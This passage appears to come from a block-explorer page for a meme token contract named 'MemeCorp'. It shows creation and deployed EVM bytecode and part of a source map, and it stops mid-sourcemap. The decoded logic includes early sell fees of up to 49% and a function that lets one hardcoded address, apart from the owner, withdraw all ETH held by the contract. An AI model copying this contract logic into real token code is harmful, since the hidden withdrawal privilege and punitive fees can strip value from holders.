b5f600b54431180156116385750435f908152600d60205260409020546002115b801561052457506008541561168b576008546103e86116596009600a611c29565b61166790633b9aca00611c37565b611672906005611c37565b61167c9190611cbe565b6116869190611cbe565b61168d565b5f5b82101592915050565b435f908152600d602052604081208054916116b083611d22565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106116e8576116e8611c96565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611758573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061177c9190611d3a565b8160018151811061178f5761178f611c96565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117e69085905f90869030904290600401611d55565b5f604051808303815f87803b1580156117fd575f80fd5b505af192505050801561180e575060015b610597575050565b6006545f906001600160a01b031661182f600284611cbe565b6040515f81818185875af1925050503d805f8114611868576040519150601f19603f3d011682016040523d82523d5f602084013e61186d565b606091505b5050505050565b5f600b545f108015611887575043600b54105b156118ee5760647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146118cf576003546118d3565b6004545b6118dd9084611c37565b6118e79190611cbe565b9050610753565b60647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161461193f57600b5415611938576031611942565b6023611942565b60315b61194f9060ff1684611c37565b6107509190611cbe565b5f6020808352835180828501525f5b8181101561198457858101830151858201604001528201611968565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059b575f80fd5b5f80604083850312156119c9575f80fd5b82356119d4816119a4565b946020939093013593505050565b5f602082840312156119f2575f80fd5b8135610753816119a4565b5f805f60608486031215611a0f575f80fd5b8335611a1a816119a4565b92506020840135611a2a816119a4565b929592945050506040919091013590565b801515811461059b575f80fd5b5f805f60408486031215611a5a575f80fd5b833567ffffffffffffffff80821115611a71575f80fd5b818601915086601f830112611a84575f80fd5b813581811115611a92575f80fd5b8760208260051b8501011115611aa6575f80fd5b60209283019550935050840135611abc81611a3b565b809150509250925092565b5f8060408385031215611ad8575f80fd5b50508035926020909101359150565b5f8060408385031215611af8575f80fd5b8235611b03816119a4565b91506020830135611b13816119a4565b809150509250929050565b5f60208284031215611b2e575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b8357815f1904821115611b6957611b69611b35565b80851615611b7657918102915b93841c9390800290611b4e565b509250929050565b5f82611b9957506001610524565b81611ba557505f610524565b8160018114611bbb5760028114611bc557611be1565b6001915050610524565b60ff841115611bd657611bd6611b35565b50506001821b610524565b5060208310610133831016604e8410600b8410161715611c04575081810a610524565b611c0e8383611b49565b805f1904821115611c2157611c21611b35565b029392505050565b5f61075360ff841683611b8b565b808202811582820484141761052457610524611b35565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561052457610524611b35565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52600160045260245ffd5b5f82611cd857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561052457610524611b35565b5f60208284031215611d00575f80fd5b5051919050565b5f60208284031215611d17575f80fd5b815161075381611a3b565b5f60018201611d3357611d33611b35565b5060010190565b5f60208284031215611d4a575f80fd5b8151610753816119a4565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611da35784516001600160a01b031683529383019391830191600101611d7e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209192d3c64bb445c25a1005ff6ac143f85f901834fa5fd063468c820151d4dbe164736f6c63430008140033

Deployed Bytecode

0x608060405260043610610164575f3560e01c806374378132116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e14610473578063e303e662146104b7578063f2fde38b146104d6578063fe4b84df146104f5575f80fd5b8063a9059cbb146103fa578063c9567bf914610419578063d2f4a50a1461042d575f80fd5b8063743781321461032357806382247ec0146103525780638da5cb5b146103665780638f4590d21461038c57806395d89b41146103ab578063a08fc5c7146103db575f80fd5b8063313ce5671161011e578063313ce567146102565780634fbee193146102715780635b895c29146102a857806364e329e3146102bc57806370a08231146102db578063715018a61461030f575f80fd5b806306fdde031461016f578063095ea7b3146101b157806318160ddd146101e05780631a695230146102025780631b9152bf1461022357806323b872dd14610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600881526704d656d65436f72760c41b60208201525b6040516101a89190611959565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb3660046119b8565b610514565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101f461052a565b6040519081526020016101a8565b34801561020d575f80fd5b5061022161021c3660046119e2565b61054a565b005b34801561022e575f80fd5b5061022161059e565b348015610242575f80fd5b506101d06102513660046119fd565b61067d565b348015610261575f80fd5b50604051600981526020016101a8565b34801561027c575f80fd5b506101d061028b3660046119e2565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b3575f80fd5b5061022161075a565b3480156102c7575f80fd5b506102216102d6366004611a48565b610805565b3480156102e6575f80fd5b506101f46102f53660046119e2565b6001600160a01b03165f9081526001602052604090205490565b34801561031a575f80fd5b506102216108b5565b34801561032e575f80fd5b5060035460045461033d919082565b604080519283526020830191909152016101a8565b34801561035d575f80fd5b506101f46108f6565b348015610371575f80fd5b505f546040516001600160a01b0390911681526020016101a8565b348015610397575f80fd5b506102216103a6366004611ac7565b61092a565b3480156103b6575f80fd5b5060408051808201909152600881526704d454d45434f52560c41b602082015261019b565b3480156103e6575f80fd5b506102216103f5366004611ac7565b61099c565b348015610405575f80fd5b506101d06104143660046119b8565b610ab2565b348015610424575f80fd5b50610221610abe565b348015610438575f80fd5b50600554600654610453916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101a8565b34801561047e575f80fd5b506101f461048d366004611ae7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c2575f80fd5b506102216104d13660046119e2565b610b6e565b3480156104e1575f80fd5b506102216104f03660046119e2565b610d68565b348015610500575f80fd5b5061022161050f366004611b1e565b610e0e565b5f610520338484610e96565b5060015b92915050565b5f6105376009600a611c29565b61054590633b9aca00611c37565b905090565b3373b8105c37b1e8be71efccbe80d4916430790ddd2d0361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610597573d5f803e3d5ffd5b5050565b50565b336105b05f546001600160a01b031690565b6001600160a01b0316146105df5760405162461bcd60e51b81526004016105d690611c4e565b60405180910390fd5b47476106265760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016105d6565b60405133904780156108fc02915f818181858888f1935050505015801561064f573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610745576001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561071a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016105d6565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610750848484610f8e565b90505b9392505050565b3361076c5f546001600160a01b031690565b6001600160a01b0316146107925760405162461bcd60e51b81526004016105d690611c4e565b305f90815260016020526040812054116107f95760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016105d6565b6108035f1961134b565b565b336108175f546001600160a01b031690565b6001600160a01b03161461083d5760405162461bcd60e51b81526004016105d690611c4e565b600b54602114801561084d575080155b610855575f80fd5b8282610862600382611c83565b81811061087157610871611c96565b6020029190910135600a5550828261088a600182611c83565b81811061089957610899611c96565b90506020020135600a54106108b0576108b0611caa565b505050565b336108c75f546001600160a01b031690565b6001600160a01b0316146108ed5760405162461bcd60e51b81526004016105d690611c4e565b6108035f611488565b60646109046009600a611c29565b61091290633b9aca00611c37565b61091d906003611c37565b6109279190611cbe565b81565b3361093c5f546001600160a01b031690565b6001600160a01b0316146109625760405162461bcd60e51b81526004016105d690611c4e565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336109ae5f546001600160a01b031690565b6001600160a01b0316146109d45760405162461bcd60e51b81526004016105d690611c4e565b600354821115610a265760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016105d6565b600454811115610a785760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016105d6565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f610753338484610f8e565b33610ad05f546001600160a01b031690565b6001600160a01b031614610af65760405162461bcd60e51b81526004016105d690611c4e565b600954610100900460ff16158015610b105750600b546021145b8015610b1d57505f600a54115b610b25575f80fd5b600a54610b329043611cdd565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b33610b805f546001600160a01b031690565b6001600160a01b031614610ba65760405162461bcd60e51b81526004016105d690611c4e565b306001600160a01b03821603610c085760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b60648201526084016105d6565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610c4c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c709190611cf0565b90505f8111610ccb5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b60648201526084016105d6565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610d15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d399190611d07565b5060405181907f1b397b20ba57cb79b7049b820bc0db09780b6cbfb22a6a719f70d03a96d821ac905f90a25050565b33610d7a5f546001600160a01b031690565b6001600160a01b031614610da05760405162461bcd60e51b81526004016105d690611c4e565b6001600160a01b038116610e055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d6565b61059b81611488565b33610e205f546001600160a01b031690565b6001600160a01b031614610e465760405162461bcd60e51b81526004016105d690611c4e565b600954610100900460ff16158015610e5e5750806021145b610e66575f80fd5b600b8190556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a150565b6001600160a01b038316610ee25760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d6565b6001600160a01b038216610f2e5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610fb957506005546001600160a01b038381169116145b80610fdb57506001600160a01b0382165f908152600c602052604090205460ff165b6110275760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e00000060448201526064016105d6565b6001600160a01b03861661108b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d6565b6001600160a01b0385166110ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d6565b8315806110fc575060095460ff165b156111135761110c8686866114d7565b9250611342565b7f0000000000000000000000004398bc653b3015fcb3bd5a651153288b738229ec6001600160a01b0316856001600160a01b03161415801561116d57506001600160a01b0385165f908152600c602052604090205460ff16155b801561118757506005546001600160a01b03868116911614155b1561123757606461119a6009600a611c29565b6111a890633b9aca00611c37565b6111b3906003611c37565b6111bd9190611cbe565b6001600160a01b0386165f908152600160205260409020546111df9086611cdd565b11156112375760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b60648201526084016105d6565b60095460ff1615801561127b57507f0000000000000000000000004398bc653b3015fcb3bd5a651153288b738229ec6001600160a01b0316856001600160a01b0316145b801561129f57506001600160a01b0386165f908152600c602052604090205460ff16155b80156112c357506001600160a01b0385165f908152600c602052604090205460ff16155b156112d1576112d18461134b565b6009546001600160a01b0387165f908152600c602052604090205460ff9182161591168061131657506001600160a01b0386165f908152600c602052604090205460ff165b1561131e57505f5b80156113375761132f8787876115d6565b935050611342565b61132f8787876114d7565b50509392505050565b6009805460ff191660011790555f611377306001600160a01b03165f9081526001602052604090205490565b90506103e86113886009600a611c29565b61139690633b9aca00611c37565b6113a1906005611c37565b6113ab9190611cbe565b8110806113be57506113bc82611618565b155b156113c9575061147b565b6007546103e86113db6009600a611c29565b6113e990633b9aca00611c37565b6113f4906005611c37565b6113fe9190611cbe565b6114089190611c37565b811115611451576007546103e86114216009600a611c29565b61142f90633b9aca00611c37565b61143a906005611c37565b6114449190611cbe565b61144e9190611c37565b90505b4761145b82611696565b5f6114668247611c83565b905080156114775761147781611816565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f908152600160205260408120548281101561153f5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e6365000000000060448201526064016105d6565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611577908490611cdd565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115c391815260200190565b60405180910390a3506001949350505050565b5f806115e3858585611874565b90508015611604576115f68530836114d7565b506116018184611c83565b92505b61160f8585856114d7565b95945050505050565b5f600b54431180156116385750435f908152600d60205260409020546002115b801561052457506008541561168b576008546103e86116596009600a611c29565b61166790633b9aca00611c37565b611672906005611c37565b61167c9190611cbe565b6116869190611cbe565b61168d565b5f5b82101592915050565b435f908152600d602052604081208054916116b083611d22565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106116e8576116e8611c96565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611758573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061177c9190611d3a565b8160018151811061178f5761178f611c96565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117e69085905f90869030904290600401611d55565b5f604051808303815f87803b1580156117fd575f80fd5b505af192505050801561180e575060015b610597575050565b6006545f906001600160a01b031661182f600284611cbe565b6040515f81818185875af1925050503d805f8114611868576040519150601f19603f3d011682016040523d82523d5f602084013e61186d565b606091505b5050505050565b5f600b545f108015611887575043600b54105b156118ee5760647f0000000000000000000000004398bc653b3015fcb3bd5a651153288b738229ec6001600160a01b0316846001600160a01b0316146118cf576003546118d3565b6004545b6118dd9084611c37565b6118e79190611cbe565b9050610753565b60647f0000000000000000000000004398bc653b3015fcb3bd5a651153288b738229ec6001600160a01b0316856001600160a01b03161461193f57600b5415611938576031611942565b6023611942565b60315b61194f9060ff1684611c37565b6107509190611cbe565b5f6020808352835180828501525f5b8181101561198457858101830151858201604001528201611968565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059b575f80fd5b5f80604083850312156119c9575f80fd5b82356119d4816119a4565b946020939093013593505050565b5f602082840312156119f2575f80fd5b8135610753816119a4565b5f805f60608486031215611a0f575f80fd5b8335611a1a816119a4565b92506020840135611a2a816119a4565b929592945050506040919091013590565b801515811461059b575f80fd5b5f805f60408486031215611a5a575f80fd5b833567ffffffffffffffff80821115611a71575f80fd5b818601915086601f830112611a84575f80fd5b813581811115611a92575f80fd5b8760208260051b8501011115611aa6575f80fd5b60209283019550935050840135611abc81611a3b565b809150509250925092565b5f8060408385031215611ad8575f80fd5b50508035926020909101359150565b5f8060408385031215611af8575f80fd5b8235611b03816119a4565b91506020830135611b13816119a4565b809150509250929050565b5f60208284031215611b2e575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b8357815f1904821115611b6957611b69611b35565b80851615611b7657918102915b93841c9390800290611b4e565b509250929050565b5f82611b9957506001610524565b81611ba557505f610524565b8160018114611bbb5760028114611bc557611be1565b6001915050610524565b60ff841115611bd657611bd6611b35565b50506001821b610524565b5060208310610133831016604e8410600b8410161715611c04575081810a610524565b611c0e8383611b49565b805f1904821115611c2157611c21611b35565b029392505050565b5f61075360ff841683611b8b565b808202811582820484141761052457610524611b35565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561052457610524611b35565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52600160045260245ffd5b5f82611cd857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561052457610524611b35565b5f60208284031215611d00575f80fd5b5051919050565b5f60208284031215611d17575f80fd5b815161075381611a3b565b5f60018201611d3357611d33611b35565b5060010190565b5f60208284031215611d4a575f80fd5b8151610753816119a4565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611da35784516001600160a01b031683529383019391830191600101611d7e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209192d3c64bb445c25a1005ff6ac143f85f901834fa5fd063468c820151d4dbe164736f6c63430008140033

Deployed Bytecode Sourcemap

2438:11231:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5666:80;;;;;;;;;;-1:-1:-1;5738:5:0;;;;;;;;;;;;-1:-1:-1;;;5738:5:0;;;;5666:80;;;;;;;:::i;:::-;;;;;;;;6002:161;;;;;;;;;;-1:-1:-1;6002:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6002:161:0;1023:187:1;5396:88:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5396:88:0;1215:177:1;11778:209:0;;;;;;;;;;-1:-1:-1;11778:209:0;;;;;:::i;:::-;;:::i;:::-;;7700:279;;;;;;;;;;;;;:::i;6638:492::-;;;;;;;;;;-1:-1:-1;6638:492:0;;;;;:::i;:::-;;:::i;5490:80::-;;;;;;;;;;-1:-1:-1;5490:80:0;;2622:1;2252:36:1;;2240:2;2225:18;5490:80:0;2110:184:1;7138:123:0;;;;;;;;;;-1:-1:-1;7138:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;7227:26:0;7203:4;7227:26;;;:17;:26;;;;;;;;;7138:123;8225:181;;;;;;;;;;;;;:::i;7987:230::-;;;;;;;;;;-1:-1:-1;7987:230:0;;;;;:::i;:::-;;:::i;5752:103::-;;;;;;;;;;-1:-1:-1;5752:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;5835:18:0;5818:7;5835:18;;;:9;:18;;;;;;;5752:103;1956:94;;;;;;;;;;;;;:::i;3209:51::-;;;;;;;;;;-1:-1:-1;3209:51:0;;;;;;;;;;;;;3351:25:1;;;3407:2;3392:18;;3385:34;;;;3324:18;3209:51:0;3177:248:1;2901:59:0;;;;;;;;;;;;;:::i;1737:87::-;;;;;;;;;;-1:-1:-1;1783:7:0;1810:6;1737:87;;-1:-1:-1;;;;;1810:6:0;;;3576:51:1;;3564:2;3549:18;1737:87:0;3430:203:1;12730:288:0;;;;;;;;;;-1:-1:-1;12730:288:0;;;;;:::i;:::-;;:::i;5576:84::-;;;;;;;;;;-1:-1:-1;5650:7:0;;;;;;;;;;;;-1:-1:-1;;;5650:7:0;;;;5576:84;;13027:371;;;;;;;;;;-1:-1:-1;13027:371:0;;;;;:::i;:::-;;:::i;6487:143::-;;;;;;;;;;-1:-1:-1;6487:143:0;;;;;:::i;:::-;;:::i;13406:221::-;;;;;;;;;;;;;:::i;3269:175::-;;;;;;;;;;-1:-1:-1;3269:175:0;;;;;;-1:-1:-1;;;;;3269:175:0;;;;;;;;;;;-1:-1:-1;;;;;4121:15:1;;;4103:34;;4173:15;;;;4168:2;4153:18;;4146:43;4038:18;3269:175:0;3891:304:1;5861:133:0;;;;;;;;;;-1:-1:-1;5861:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5963:19:0;;;5945:7;5963:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5861:133;7269:423;;;;;;;;;;-1:-1:-1;7269:423:0;;;;;:::i;:::-;;:::i;2058:192::-;;;;;;;;;;-1:-1:-1;2058:192:0;;;;;:::i;:::-;;:::i;12555:167::-;;;;;;;;;;-1:-1:-1;12555:167:0;;;;;:::i;:::-;;:::i;6002:161::-;6079:4;6096:37;6105:10;6117:7;6126:6;6096:8;:37::i;:::-;-1:-1:-1;6151:4:0;6002:161;;;;;:::o;5396:88::-;5451:7;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;;:13;:31;:::i;:::-;5462:19;;5396:88;:::o;11778:209::-;11835:10;11849:42;11835:56;11832:147;;11906:49;;-1:-1:-1;;;;;11906:24:0;;;11932:21;11906:49;;;;;;;;;11932:21;11906:24;:49;;;;;;;;;;;;;;;;;;;;;11778:209;:::o;11832:147::-;11778:209;:::o;7700:279::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;;;;;;;;;7774:21:::1;7814;7806:60;;;::::0;-1:-1:-1;;;7806:60:0;;7029:2:1;7806:60:0::1;::::0;::::1;7011:21:1::0;7068:2;7048:18;;;7041:30;-1:-1:-1;;;7087:18:1;;;7080:52;7149:18;;7806:60:0::1;6827:346:1::0;7806:60:0::1;7877:51;::::0;7885:10:::1;::::0;7906:21:::1;7877:51:::0;::::1;;;::::0;::::1;::::0;;;7906:21;7885:10;7877:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;7946:25:0::1;::::0;7957:13;;7946:25:::1;::::0;;;::::1;7739:240;7700:279::o:0;6638:492::-;-1:-1:-1;;;;;6749:19:0;;6729:4;6749:19;;;:11;:19;;;;;;;;6769:10;6749:31;;;;;;;;-1:-1:-1;;6749:52:0;6746:323;;-1:-1:-1;;;;;6844:19:0;;6817:24;6844:19;;;:11;:19;;;;;;;;6864:10;6844:31;;;;;;;;6898:26;;;;6890:68;;;;-1:-1:-1;;;6890:68:0;;7380:2:1;6890:68:0;;;7362:21:1;7419:2;7399:18;;;7392:30;7458:31;7438:18;;;7431:59;7507:18;;6890:68:0;7178:353:1;6890:68:0;-1:-1:-1;;;;;;7001:19:0;;;;;;:11;:19;;;;;;;;7021:10;7001:31;;;;;;;:41;;;;;;;6746:323;7086:36;7096:6;7104:9;7115:6;7086:9;:36::i;:::-;7079:43;;6638:492;;;;;;:::o;8225:181::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;8307:4:::1;8316:1;5835:18:::0;;;:9;:18;;;;;;8289:28:::1;8281:75;;;::::0;-1:-1:-1;;;8281:75:0;;7738:2:1;8281:75:0::1;::::0;::::1;7720:21:1::0;7777:2;7757:18;;;7750:30;7816:34;7796:18;;;7789:62;-1:-1:-1;;;7867:18:1;;;7860:32;7909:19;;8281:75:0::1;7536:398:1::0;8281:75:0::1;8367:31;-1:-1:-1::0;;8367:12:0::1;:31::i;:::-;8225:181::o:0;7987:230::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;8096:7:::1;;8107:2;8096:13;:25;;;;;8114:7;8113:8;8096:25;8088:34;;;::::0;::::1;;8132:7:::0;;8140:16:::1;8155:1;8132:7:::0;8140:16:::1;:::i;:::-;8132:25;;;;;;;:::i;:::-;;;::::0;;;::::1;;8123:6;:34:::0;-1:-1:-1;8175:7:0;;8183:16:::1;8198:1;8175:7:::0;8183:16:::1;:::i;:::-;8175:25;;;;;;;:::i;:::-;;;;;;;8166:6;;:34;8159:42;;;;:::i;:::-;7987:230:::0;;;:::o;1956:94::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;2021:21:::1;2039:1;2021:9;:21::i;2901:59::-:0;2957:3;2803:13;2622:1;2803:2;:13;:::i;:::-;2863:31;;:13;:31;:::i;:::-;2938:16;;:1;:16;:::i;:::-;:22;;;;:::i;:::-;2901:59;:::o;12730:288::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;12842:17:::1;:39:::0;;;12892:17:::1;:39:::0;;;12949:61:::1;::::0;12912:19;;12862;;12949:61:::1;::::0;-1:-1:-1;;12949:61:0::1;12730:288:::0;;:::o;13027:371::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;13131:11:::1;:18:::0;13120:29;::::1;;13112:68;;;::::0;-1:-1:-1;;;13112:68:0;;8760:2:1;13112:68:0::1;::::0;::::1;8742:21:1::0;8799:2;8779:18;;;8772:30;8838:28;8818:18;;;8811:56;8884:18;;13112:68:0::1;8558:350:1::0;13112:68:0::1;13211:19:::0;;13199:31;::::1;;13191:71;;;::::0;-1:-1:-1;;;13191:71:0;;9115:2:1;13191:71:0::1;::::0;::::1;9097:21:1::0;9154:2;9134:18;;;9127:30;9193:29;9173:18;;;9166:57;9240:18;;13191:71:0::1;8913:351:1::0;13191:71:0::1;13273:11;:28:::0;;;13312:19;:30;;;13360::::1;::::0;13334:8;;13294:7;;13360:30:::1;::::0;13273:18:::1;::::0;13360:30:::1;13027:371:::0;;:::o;6487:143::-;6558:4;6582:40;6592:10;6604:9;6615:6;6582:9;:40::i;13406:221::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;13468:13:::1;::::0;::::1;::::0;::::1;;;13467:14;:31:::0;::::1;;;;13485:7;;13496:2;13485:13;13467:31;:45;;;;;13511:1;13502:6;;:10;13467:45;13459:54;;;::::0;::::1;;13549:6;::::0;13534:21:::1;::::0;:12:::1;:21;:::i;:::-;13524:7;:31:::0;13566:13:::1;:20:::0;;-1:-1:-1;;13566:20:0::1;;;::::0;;13604:15:::1;::::0;::::1;::::0;13566:20;;13604:15:::1;13406:221::o:0;7269:423::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:66;;;;-1:-1:-1;;;1862:66:0;;;;;;;:::i;:::-;7374:4:::1;-1:-1:-1::0;;;;;7350:29:0;::::1;::::0;7342:75:::1;;;::::0;-1:-1:-1;;;7342:75:0;;9601:2:1;7342:75:0::1;::::0;::::1;9583:21:1::0;9640:2;9620:18;;;9613:30;9679:34;9659:18;;;9652:62;-1:-1:-1;;;9730:18:1;;;9723:31;9771:19;;7342:75:0::1;9399:397:1::0;7342:75:0::1;7452:45;::::0;-1:-1:-1;;;7452:45:0;;7491:4:::1;7452:45;::::0;::::1;3576:51:1::0;7428:21:0::1;::::0;-1:-1:-1;;;;;7452:30:0;::::1;::::0;::::1;::::0;3549:18:1;;7452:45:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7428:69;;7532:1;7516:13;:17;7508:63;;;::::0;-1:-1:-1;;;7508:63:0;;10192:2:1;7508:63:0::1;::::0;::::1;10174:21:1::0;10231:2;10211:18;;;10204:30;10270:34;10250:18;;;10243:62;-1:-1:-1;;;10321:18:1;;;10314:31;10362:19;;7508:63:0::1;9990:397:1::0;7508:63:0::1;7582:56;::::0;-1:-1:-1;;;7582:56:0;;7612:10:::1;7582:56;::::0;::::1;10566:51:1::0;10633:18;;;10626:34;;;-1:-1:-1;;;;;7582:29:0;::::1;::::0;::::1;::::0;10539:18:1;;7582:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7656:28:0::1;::::0;7670:13;;7656:28:::1;::::0;;;::::1;7331:361;7269:423:::0;:::o;2058:192::-;1881:10;1870:7;1783;1810:6;-1:-1:-1;;;;;1810:6:0;;1737:87;1870:7;-1:-1:-1;;;;;1870:21:0;;1862:6